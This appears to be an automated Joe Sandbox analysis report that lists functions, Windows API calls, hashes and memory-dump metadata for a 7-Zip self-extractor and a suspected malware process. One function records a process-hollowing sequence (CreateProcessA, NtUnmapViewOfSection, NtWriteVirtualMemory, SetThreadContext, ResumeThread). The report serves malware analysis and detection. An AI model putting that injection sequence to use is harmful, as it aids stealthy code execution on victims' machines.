Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT ref: 0040445E
??3@YAXPAX@Z.MSVCRT ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT ref: 0040447E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT ref: 0040B937

Strings

$A, xrefs: 0040B9B5
$A, xrefs: 0040B99D

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

Could not allocate memory, xrefs: 00404755
7-Zip SFX, xrefs: 00404750

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 8G7TUoanzGVBa0kCulY_TPPa.exePID: 7860, Parent PID: 7556COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	30.2%
Signature Coverage:	38.8%
Total number of Nodes:	129
Total number of Limit Nodes:	19

Executed Functions

Function 004A4C54 Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 270
librarywindowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FillConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,?), ref: 004A4CB1
lstrcatW.KERNEL32(?,00000000), ref: 004A4D04
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004A4D10
LoadIconW.USER32(00000000,00000000), ref: 004A4D18
LocalShrink.KERNEL32(00000000,00000000), ref: 004A4D20
FindAtomW.KERNEL32(00000000), ref: 004A4D27
DeleteAtom.KERNEL32(00000000), ref: 004A4D2E
GetConsoleSelectionInfo.KERNEL32(00000000), ref: 004A4D35
_memset.LIBCMT ref: 004A4D47
GetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 004A4D56
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 004A4D60
ReadConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 004A4D91
WaitForDebugEvent.KERNEL32(00000000,00000000), ref: 004A4D99
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 004A4DA2
TryEnterCriticalSection.KERNEL32(?), ref: 004A4DB6
LoadLibraryA.KERNEL32(00000000), ref: 004A4DCC
LoadLibraryA.KERNEL32(00000000), ref: 004A4DCF

Part of subcall function 004011FC: __wcstoi64.LIBCMT ref: 00401208

GetDateFormatA.KERNELBASE(00000000,00000000,?,00000000,?,00000000), ref: 004A4E02
GetLastError.KERNEL32 ref: 004A4E08
GetSystemTimes.KERNEL32(?,?,?), ref: 004A4E1D
FoldStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 004A4E43
GetConsoleAliasesLengthA.KERNEL32(00000000,?,?,?), ref: 004A4E63
GetNamedPipeHandleStateA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004A4E87
GetComputerNameA.KERNEL32(00000000,00000000), ref: 004A4E8F
GetFileAttributesW.KERNEL32(00000000), ref: 004A4E96
GetBinaryTypeA.KERNEL32(00000000,00000000), ref: 004A4E9E
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004A4EB2
_malloc.LIBCMT ref: 004A4EB9
_malloc.LIBCMT ref: 004A4EBF
_mbrtowc.LIBCMT ref: 004A4ECE
_calloc.LIBCMT ref: 004A4ED5
LocalAlloc.KERNELBASE(00000000,?,?,?), ref: 004A4EEA
LoadLibraryA.KERNELBASE(msimg32.dll), ref: 004A4F2D
GlobalFlags.KERNEL32(00000000), ref: 004A4F49
GetFileType.KERNEL32(00000000), ref: 004A4F50
InterlockedDecrement.KERNEL32(?), ref: 004A4F71

Strings

msimg32.dll, xrefs: 004A4F28
}$, xrefs: 004A4F78
k`, xrefs: 004A4F56

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: ConsoleLoad$Library$AtomDateFileFormatInterlockedLocalOutputType_malloc$AliasesAllocAttributesBinaryCharacterCommComputerConfigCriticalDebugDecrementDefaultDeleteEnterEnumErrorEventExceptionExchangeFillFindFlagsFoldFormatsGlobalHandleIconInfoLastLengthMessageNameNamedPipeRaiseReadSectionSelectionShrinkStateStringSystemTimesWait__wcstoi64_calloc_mbrtowc_memsetlstrcat
String ID: k`$msimg32.dll$}$
API String ID: 3101043212-3790566034
Opcode ID: 5791d8215d3f91d16443f1dfadc125b9ac431809a146679fc14c14fc8110322c
Instruction ID: b092476a892429e5236d7ed3d915507f5ebcf53964302e693ca48d81e64aed05
Opcode Fuzzy Hash: 5791d8215d3f91d16443f1dfadc125b9ac431809a146679fc14c14fc8110322c
Instruction Fuzzy Hash: DC916D7240AA20AFD711AB61ED4889F7FACFFDB314B01053AF64596120C7789605CBEE

Function 020E0110 Relevance: 21.2, APIs: 14, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 020E0156
CreateProcessA.KERNELBASE(?,00000000), ref: 020E0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 020E0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 020E0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 020E029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 020E02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 020E02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 020E0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 020E032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 020E0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 020E03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 020E03E1
ResumeThread.KERNELBASE(00000000), ref: 020E03ED
ExitProcess.KERNEL32(00000000), ref: 020E0412

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFreeReadResumeSectionUnmapView
String ID:
API String ID: 3993611425-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 72061d06ae2aa95e9230309ce7e075160e39f4cbe78aea6db15e0958f38dcb74
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 5CB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E549AB395D771AD81CF94

Function 007337C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 007337EE
Module32First.KERNEL32(00000000,00000224), ref: 0073380E

Memory Dump Source

Source File: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, Offset: 00733000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_733000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 04187de009ce9e22a5048a1ceac72d3c104373e9a20fdd4564b58d709370d1ed
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 82F096316007107FE7303FF5A88DBAE76E8EF49725F100628F642950C2DB74ED454661

Function 0040162F Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 0040167A
__mtinit.LIBCMT ref: 00401680
_fast_error_exit.LIBCMT ref: 0040168B
__RTC_Initialize.LIBCMT ref: 00401691
__ioinit.LIBCMT ref: 00401699
__amsg_exit.LIBCMT ref: 004016A4
GetCommandLineA.KERNEL32 ref: 004016AA
___crtGetEnvironmentStringsA.LIBCMT ref: 004016B5
__setargv.LIBCMT ref: 004016BF
__amsg_exit.LIBCMT ref: 004016CA
__setenvp.LIBCMT ref: 004016D0
__amsg_exit.LIBCMT ref: 004016DB
__cinit.LIBCMT ref: 004016E2
__amsg_exit.LIBCMT ref: 004016ED
__wincmdln.LIBCMT ref: 004016F3

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp__wincmdln
String ID:
API String ID: 3545360858-0
